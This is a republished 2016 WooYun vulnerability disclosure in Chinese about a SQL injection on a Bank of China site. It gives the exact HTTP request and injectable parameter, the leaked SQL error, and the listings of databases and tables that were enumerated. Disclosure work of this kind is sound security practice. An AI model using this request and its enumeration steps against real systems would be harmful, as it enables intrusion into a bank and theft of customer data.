中国银行某站MySQL注射(涉及管理员密码/大量用户卡号信息)

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-05: 厂商已经确认,细节仅向厂商公开
2016-05-15: 细节向核心白帽子及相关领域专家公开
2016-05-25: 细节向普通白帽子公开
2016-06-04: 细节向实习白帽子公开
2016-06-19: 细节向公众公开

简要描述:

中国银行某站MySQL注射(涉及管理员密码/百万用户信息)

详细说明:

 

code 区域
PUT /interFace/getAppUpdate.php HTTP/1.1
Host: open.boc.cn
Content-Type: application/json
Connection: close
Accept: application/json
User-Agent: ESchool/1.1 CFNetwork/758.3.15 Darwin/15.4.0
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Content-Length: 29

{"clientid":"399","type":"1"}







code 区域
注入参数#clientid





正常返回内容



code 区域
{"clientkey":"399","version":"1.0.2","appversion":"177","appurl":"http:\/\/open.boc.cn\/apps\/appdownload\/41295","need_update":"0","new_function":"","appfilesize":"","incrementSize":""}





报错

code 区域
<b>MySQL server error report:Array
(
[0] => Array
(
[message] => MySQL Query Error
)

[1] => Array
(
[sql] => SELECT goods_name,ios_file,app_version,goods_id,client_key as clientkey,need_update,new_function,category_ver as appversion FROM `ec`.`aps_goods` where client_key=399'
)

[2] => Array
(
[error] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
)

[3] => Array
(
[errno] => 1064
)

)

 

漏洞证明:

 

code 区域
available databases [11]:
[*] bim
[*] container
[*] ec
[*] ezcis
[*] information_schema
[*] mysql
[*] ndbinfo
[*] performance_schema
[*] sap
[*] test
[*] ultrax





code 区域
当前数据库:ec





code 区域
+-------------------------------+
| aps_account_log |
| aps_ad |
| aps_ad_custom |
| aps_ad_position |
| aps_admin_action |
| aps_admin_log |
| aps_admin_message |
| aps_admin_user |
| aps_adsense |
| aps_affiliate_log |
| aps_agency |
| aps_apps |
| aps_apps_bak150321 |
| aps_apps_bak151205 |
| aps_apps_cat |
| aps_apps_relation |
| aps_area_region |
| aps_article |
| aps_article_cat |
| aps_article_cat_bak |
| aps_article_comment |
| aps_attribute |
| aps_auction_log |
| aps_auto_manage |
| aps_back_goods |
| aps_back_order |
| aps_bank_info |
| aps_banner |
| aps_bonus_type |
| aps_booking_goods |
| aps_brand |
| aps_card |
| aps_card_trans_audit |
| aps_cart |
| aps_cat_recommend |
| aps_category |
| aps_collect_goods |
| aps_comment |
| aps_crons |
| aps_custom_pads |
| aps_customs |
| aps_dcode |
| aps_delivery_goods |
| aps_delivery_order |
| aps_dic_h5_interface |
| aps_dic_paper_category |
| aps_dic_site_letter |
| aps_download_log |
| aps_email_list |
| aps_email_sendlist |
| aps_error_log |
| aps_exchange_goods |
| aps_failedlogin |
| aps_favourable_activity |
| aps_feedback |
| aps_friend_link |
| aps_general_bank |
| aps_general_interface |
| aps_goods |
| aps_goods_20141206 |
| aps_goods_activity |
| aps_goods_article |
| aps_goods_attr |
| aps_goods_bak150321 |
| aps_goods_bak151205 |
| aps_goods_cat |
| aps_goods_gallery |
| aps_goods_interface |
| aps_goods_interface_bak151205 |
| aps_goods_relation |
| aps_goods_type |
| aps_goods_whites |
| aps_group_goods |
| aps_interface |
| aps_interface0321 |
| aps_keywords |
| aps_link_goods |
| aps_log_conf |
| aps_log_data |
| aps_log_goods_download |
| aps_mail_templates |
| aps_manage_ip |
| aps_match_goods |
| aps_matchor |
| aps_member_price |
| aps_nav |
| aps_order_action |
| aps_order_goods |
| aps_order_info |
| aps_pack |
| aps_package_goods |
| aps_para_info |
| aps_para_type |
| aps_pay_log |
| aps_payment |
| aps_plugins |
| aps_poster |
| aps_poster_copy |
| aps_products |
| aps_reg_extend_info |
| aps_reg_fields |
| aps_region |
| aps_role |
| aps_searchengine |
| aps_sessions |
| aps_sessions_data |
| aps_shipping |
| aps_shipping_area |
| aps_shop_config |
| aps_snatch_log |
| aps_special_url |
| aps_stats |
| aps_suppliers |
| aps_tag |
| aps_template |
| aps_topic |
| aps_user_account |
| aps_user_address |
| aps_user_app |
| aps_user_bonus |
| aps_user_feed |
| aps_user_pictures |
| aps_user_pictures_copy |
| aps_user_rank |
| aps_user_test_account |
| aps_user_test_card |
| aps_user_trans_audit |
| aps_users |
| aps_users_bak |
| aps_users_bak150321 |
| aps_users_bak150321_copy |
| aps_users_copy |
| aps_validate_code |
| aps_validate_code_copy |
| aps_virtual_card |
| aps_volume_price |
| aps_vote |
| aps_vote_log |
| aps_vote_option |
| aps_wholesale |
+-------------------------------+





1.png





保证用户安全,不深入测试

修复方案:

过滤神马的

版权声明:转载请注明来源 Aasron@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-05-05 22:07

厂商回复:

感谢白帽子

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:中国银行某站MySQL注射(涉及管理员密码/大量用户卡号信息) - https://www.15qq.cn/wooyun/576.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知